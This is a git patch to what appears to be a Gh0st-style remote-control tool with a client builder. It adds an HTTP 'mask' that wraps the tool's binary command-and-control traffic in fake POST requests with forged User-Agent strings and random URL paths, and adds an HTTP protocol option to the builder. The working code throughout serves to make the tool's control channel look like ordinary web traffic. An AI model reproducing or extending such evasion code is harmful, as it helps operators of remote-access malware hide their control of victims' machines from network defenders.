From db6b55d59b35154f7c1487f3342894600da5e0eb Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 12 Jul 2025 20:27:14 +0800 Subject: [PATCH] Feature: Support HTTP protocol and add building option --- client/Buffer.cpp | 8 ++ client/Buffer.h | 1 + client/IOCPClient.cpp | 40 ++++++-- client/IOCPClient.h | 7 +- client/KernelManager.cpp | 3 +- client/ghost_vs2015.vcxproj | 1 + common/mask.h | 155 +++++++++++++++++++++++++++++++ server/2015Remote/Buffer.cpp | 12 +++ server/2015Remote/Buffer.h | 8 +- server/2015Remote/BuildDlg.cpp | 1 + server/2015Remote/IOCPServer.cpp | 6 +- server/2015Remote/Server.h | 44 +++++++-- 12 files changed, 262 insertions(+), 24 deletions(-) create mode 100644 common/mask.h diff --git a/client/Buffer.cpp b/client/Buffer.cpp index fdc1889..4bcee71 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -143,6 +143,14 @@ ULONG CBuffer::GetBufferLength() const } +void CBuffer::Skip(ULONG ulPos) { + if (ulPos == 0) + return; + MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos); + m_Ptr -= ulPos; +} + + PBYTE CBuffer::GetBuffer(ULONG ulPos) const { if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) diff --git a/client/Buffer.h b/client/Buffer.h index 9ddece1..ff9623b 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -15,6 +15,7 @@ public: BOOL ReAllocateBuffer(ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); PBYTE GetBuffer(ULONG ulPos=0) const; + void Skip(ULONG ulPos); protected: PBYTE m_Base; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index bff0084..a64d565 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -96,11 +96,12 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) } -IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit) +IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit) { m_ServerAddr = {}; m_nHostPort = 0; m_Manager = NULL; + m_masker = mask ? new HttpMask("example.com") : new PkgMask(); #ifdef _WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); @@ -147,6 +148,7 @@ IOCPClient::~IOCPClient() ZSTD_freeCCtx(m_Cctx); ZSTD_freeDCtx(m_Dctx); #endif + m_masker->Destroy(); } // 从域名获取IP地址 @@ -196,6 +198,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) SetServerAddress(szServerIP, uPort); } m_sCurIP = m_Domain.SelectIP(); + m_masker->SetServer(m_sCurIP.c_str()); unsigned short port = m_nHostPort; m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层 @@ -362,8 +365,16 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) //检测数据是否大于数据头大小 如果不是那就不是正确的数据 while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) { + // UnMask + char* src = (char*)m_CompressedBuffer.GetBuffer(); + ULONG srcSize = m_CompressedBuffer.GetBufferLength(); + ULONG ret = m_masker->UnMask(src, srcSize); + m_CompressedBuffer.Skip(ret); + if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH) + break; + char szPacketFlag[FLAG_LENGTH + 3] = {0}; - LPBYTE src = m_CompressedBuffer.GetBuffer(); + src = (char*)m_CompressedBuffer.GetBuffer(); CopyMemory(szPacketFlag, src, FLAG_LENGTH); //判断数据头 if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) @@ -431,6 +442,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) AUTO_TICK(50); assert (ulOriginalLength > 0); { + int cmd = BYTE(szBuffer[0]); //乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12 //防止缓冲区溢出// HelloWorld 10 22 //数据压缩 压缩算法 微软提供 @@ -470,14 +482,22 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) if (CompressedBuffer != buf) delete [] CompressedBuffer; // 分块发送 - return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER); + return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd); } } // 5 2 // 2 2 1 -BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength) +BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd) { + if (src == nullptr || srcSize == 0 || ulSplitLength == 0) + return FALSE; + // Mask + char* szBuffer = nullptr; + ULONG ulLength = 0; + m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd); + AUTO_TICK(25); + bool isFail = false; int iReturn = 0; //真正发送了多少 const char* Travel = szBuffer; int i = 0; @@ -497,14 +517,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl } if (j == ulSendRetry) { - return FALSE; + isFail = true; + break; } ulSended += iReturn; Travel += ulSplitLength; } // 发送最后的部分 - if (i>0) //1024 + if (!isFail && i>0) //1024 { int j = 0; for (; j < ulSendRetry; j++) @@ -518,10 +539,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl } if (j == ulSendRetry) { - return FALSE; + isFail = true; } ulSended += iReturn; } + if (szBuffer != src) + SAFE_DELETE_ARRAY(szBuffer); + if (isFail) { + return FALSE; + } return (ulSended == ulLength) ? TRUE : FALSE; } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 39c0ac6..0c1c708 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -12,9 +12,9 @@ #endif #include "Buffer.h" -#include "common/commands.h" #include "zstd/zstd.h" #include "domain_pool.h" +#include "common/mask.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 @@ -57,7 +57,7 @@ public: class IOCPClient { public: - IOCPClient(State& bExit, bool exit_while_disconnect = false); + IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0); virtual ~IOCPClient(); int SendLoginInfo(const LOGIN_INFOR& logInfo) { @@ -110,7 +110,7 @@ protected: BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); - BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); + BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd); protected: sockaddr_in m_ServerAddr; @@ -134,4 +134,5 @@ protected: std::string m_sCurIP; int m_nHostPort; bool m_exit_while_disconnect; + PkgMask* m_masker; }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 69fbf1f..84f7c27 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -21,7 +21,8 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di return new IOCPClient(bExit, exit_while_disconnect); if (conn->protoType == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); - + if (conn->protoType == PROTO_HTTP) + return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP); return NULL; } diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 4fe4dc6..27f4eed 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -201,6 +201,7 @@ + diff --git a/common/mask.h b/common/mask.h new file mode 100644 index 0000000..a084472 --- /dev/null +++ b/common/mask.h @@ -0,0 +1,155 @@ +#pragma once + +#include "commands.h" + +// 鏁版嵁鍖呭崗璁皝瑁呮牸寮 +// Copy left: 962914132@qq.com & ChatGPT +enum PkgMaskType { + MaskTypeUnknown = -1, + MaskTypeNone, + MaskTypeHTTP, + MaskTypeNum, +}; + +inline ULONG UnMaskHttp(char* src, ULONG srcSize) { + const char* header_end_mark = "\r\n\r\n"; + const ULONG mark_len = 4; + + // 鏌ユ壘 HTTP 澶撮儴缁撴潫鏍囪 + for (ULONG i = 0; i + mark_len <= srcSize; ++i) { + if (memcmp(src + i, header_end_mark, mark_len) == 0) { + return i + mark_len; // 杩斿洖 Body 璧峰浣嶇疆 + } + } + return 0; // 鏃犳晥鏁版嵁 +} + +// TryUnMask 灏濊瘯鍘绘帀浼鐨勫崗璁ご. +inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) { + if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) { + maskHit = MaskTypeHTTP; + return UnMaskHttp(src, srcSize); + } + maskHit = MaskTypeNone; + return 0; +} + +// PkgMask 閽堝娑堟伅杩涗竴姝ュ姞瀵嗐佹贩娣嗘垨浼. +class PkgMask { +protected: + virtual ~PkgMask() {} +public: + virtual void Destroy() { + delete this; + } + virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { + dst = src; + dstSize = srcSize; + } + virtual ULONG UnMask(char* src, ULONG srcSize) { + return 0; + } + virtual void SetServer(const char* addr) {} +}; + +class HttpMask : public PkgMask { +public: + /** + * @brief 鏋勯犲嚱鏁 + * @param host HTTP Host 澶村瓧娈 + */ + explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) { + // 鍒濆鍖栭殢鏈烘暟鐢熸垚鍣 + srand(static_cast(time(nullptr))); + char buf[32]; + sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10); + version_ = buf; + user_agent_ = GetEnhancedSystemUA(product_, version_); + } + + /** + * @brief 灏嗗師濮嬫暟鎹吉瑁呬负 HTTP 璇锋眰 + * @param dst [杈撳嚭] 浼鍚庣殑鏁版嵁缂撳啿鍖猴紙闇璋冪敤鑰呴噴鏀撅級 + * @param dstSize [杈撳嚭] 浼鍚庢暟鎹暱搴 + * @param src 鍘熷鏁版嵁鎸囬拡 + * @param srcSize 鍘熷鏁版嵁闀垮害 + * @param cmd 鍛戒护鍙 + */ + void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) { + // 鐢熸垚鍔ㄦ HTTP 澶撮儴 + std::string http_header = + "POST " + GeneratePath(cmd) + " HTTP/1.1\r\n" + "Host: " + host_ + "\r\n" + "User-Agent: " + user_agent_ + "\r\n" + "Content-Type: application/octet-stream\r\n" + "Content-Length: " + std::to_string(srcSize) + "\r\n" + "Connection: keep-alive\r\n" + "\r\n"; // 绌鸿鍒嗛殧澶撮儴鍜 Body + + // 鍒嗛厤杈撳嚭缂撳啿鍖 + dstSize = static_cast(http_header.size()) + srcSize; + dst = new char[dstSize]; + + // 鎷疯礉鏁版嵁锛欻TTP 澶撮儴 + 鍘熷鏁版嵁 + memcpy(dst, http_header.data(), http_header.size()); + memcpy(dst + http_header.size(), src, srcSize); + } + + /** + * @brief 浠 HTTP 鏁版嵁涓彁鍙栧師濮嬫暟鎹捣濮嬩綅缃 + * @param src 鏀跺埌鐨 HTTP 鏁版嵁 + * @param srcSize 鏁版嵁闀垮害 + * @return ULONG 鍘熷鏁版嵁鍦 src 涓殑璧峰鍋忕Щ閲忥紙澶辫触杩斿洖 0锛 + */ + ULONG UnMask(char* src, ULONG srcSize) { + return UnMaskHttp(src, srcSize); + } + + void SetServer(const char* addr) { + host_ = addr; + } +private: + static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) { +#ifdef _WIN32 + OSVERSIONINFOEX osvi = {}; + osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + GetVersionEx((OSVERSIONINFO*)&osvi); + + // 鑾峰彇绯荤粺鏋舵瀯 + SYSTEM_INFO si; + GetNativeSystemInfo(&si); + std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" : + (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" : + "WOW64"; + + return "Mozilla/5.0 (" + + std::string("Windows NT ") + + std::to_string(osvi.dwMajorVersion) + "." + + std::to_string(osvi.dwMinorVersion) + "; " + + arch + ") " + + appName + "/" + appVersion; +#else + return "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"; +#endif + } + + std::string host_; // 鐩爣涓绘満 + std::string product_; // 浜у搧鍚嶇О + std::string version_; // 浜у搧鐗堟湰 + std::string user_agent_;// 浠g悊鍚嶇О + + /** 鐢熸垚闅忔満 URL 璺緞 */ + std::string GenerateRandomString(int size = 8) const { + static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789"; + char path[32]; + for (int i = 0; i < size; ++i) { + path[i] = charset[rand() % (sizeof(charset) - 1)]; + } + path[size] = 0; + return path; + } + std::string GeneratePath(int cmd) const { + static std::string root = "/" + product_ + "/" + GenerateRandomString() + "/"; + return root + (cmd == -1 ? GenerateRandomString() : std::to_string(cmd)); + } +}; diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp index 53409d2..e156fb0 100644 --- a/server/2015Remote/Buffer.cpp +++ b/server/2015Remote/Buffer.cpp @@ -186,6 +186,18 @@ ULONG CBuffer::GetBufferLength() // return len; } +void CBuffer::Skip(ULONG ulPos) { + if (ulPos == 0) + return; + + EnterCriticalSection(&m_cs); + + MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos); + m_Ptr -= ulPos; + + LeaveCriticalSection(&m_cs); +} + // 此函数不是多线程安全的. 只在远程桌面使用了. LPBYTE CBuffer::GetBuffer(ULONG ulPos) { diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index 3717eef..dc46d0d 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -75,12 +75,18 @@ public: ULONG GetBufferLen() { return GetBufferLength(); } VOID ClearBuffer(); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); - BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); } + BOOL Write(PBYTE Buffer, ULONG ulLength) { + return WriteBuffer(Buffer, ulLength); + } + BOOL WriteBuffer(CBuffer& buf) { + return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen()); + } LPBYTE GetBuffer(ULONG ulPos=0); Buffer GetMyBuffer(ULONG ulPos); BYTE GetBYTE(ULONG ulPos); BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos); ULONG RemoveCompletedBuffer(ULONG ulLength); + void Skip(ULONG ulPos); protected: PBYTE m_Base; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 71bf195..31bcb8c 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -261,6 +261,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboProto.InsertString(PROTO_TCP, "TCP"); m_ComboProto.InsertString(PROTO_UDP, "UDP"); + m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); m_ComboProto.SetCurSel(PROTO_TCP); m_OtherItem.ShowWindow(SW_HIDE); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 18974bb..e7a41ee 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -566,7 +566,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) { assert(ContextObject); // 输出服务端所发送的命令 - unsigned cmd = szBuffer[0]; + int cmd = szBuffer[0]; if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK && cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) { char buf[100] = { 0 }; @@ -589,7 +589,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr } else if (ContextObject->CompressMethod == COMPRESS_NONE) { Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); - ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength); + ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength, cmd); break; } bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD; @@ -616,7 +616,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr ulCompressedLength = usingZstd ? iRet : ulCompressedLength; - ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength); + ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength, cmd); if (CompressedBuffer != buf) delete [] CompressedBuffer; }while (false); diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index ef729d6..b684e83 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -1,7 +1,7 @@ #pragma once #include "stdafx.h" -#include "common/commands.h" +#include "common/mask.h" #include "common/header.h" #include "common/encrypt.h" @@ -64,6 +64,7 @@ class HeaderParser { friend class CONTEXT_OBJECT; protected: HeaderParser() { + m_Masker = nullptr; m_Encoder = nullptr; m_Encoder2 = nullptr; m_bParsed = FALSE; @@ -74,11 +75,23 @@ protected: virtual ~HeaderParser() { Reset(); } - PR Parse(CBuffer& buf, int& compressMethod) { + PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) { const int MinimumCount = MIN_COMLEN; if (buf.GetBufferLength() < MinimumCount) { return PR{ PARSER_NEEDMORE }; } + // UnMask + char* src = (char*)buf.GetBuffer(); + ULONG srcSize = buf.GetBufferLength(); + PkgMaskType maskType = MaskTypeUnknown; + ULONG ret = TryUnMask(src, srcSize, maskType); + if (nullptr == m_Masker) { + m_Masker = maskType ? new HttpMask(peer) : new PkgMask(); + } + buf.Skip(ret); + if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount)) + return PR{ PARSER_NEEDMORE }; + char szPacketFlag[32] = { 0 }; buf.CopyBuffer(szPacketFlag, MinimumCount, 0); HeaderEncType encTyp = HeaderEncUnknown; @@ -161,6 +174,10 @@ protected: return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL; } HeaderParser& Reset() { + if (m_Masker) { + m_Masker->Destroy(); + m_Masker = nullptr; + } SAFE_DELETE(m_Encoder); SAFE_DELETE(m_Encoder2); m_bParsed = FALSE; @@ -199,6 +216,7 @@ private: char m_szPacketFlag[32]; // 对比信息 Encoder* m_Encoder; // 编码器 Encoder* m_Encoder2; // 编码器2 + PkgMask* m_Masker; }; enum IOType @@ -393,7 +411,7 @@ public: return InDeCompressedBuffer.GetBYTE(offset); } // Write compressed buffer. - void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) { + void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) { if (Parser.IsParsed()) { ULONG totalLen = dataLen + Parser.GetHeaderLen(); BYTE szPacketFlag[32] = {}; @@ -401,18 +419,26 @@ public: memcpy(szPacketFlag, Parser.GetFlag(), flagLen); if (Parser.IsEncodeHeader()) encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]); - OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen); - OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG)); + CBuffer buf; + buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen); + buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG)); if (Parser.GetFlagType() == FLAG_WINOS) { memcpy(szPacketFlag, Parser.GetFlag(), 10); - OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10); + buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10); } else { - OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG)); + buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG)); InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16); } Encode2(data, dataLen, szPacketFlag); - OutCompressedBuffer.WriteBuffer(data, dataLen); + buf.WriteBuffer(data, dataLen); + // Mask + char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr; + ULONG ulLength = 0; + Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd); + OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength); + if (szBuffer != src) + SAFE_DELETE_ARRAY(szBuffer); } } // Read compressed buffer. @@ -438,7 +464,7 @@ public: } // Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned. PR Parse(CBuffer& buf) { - return Parser.Parse(buf, CompressMethod); + return Parser.Parse(buf, CompressMethod, PeerName); } // Encode data before compress. void Encode(PBYTE data, int len) const {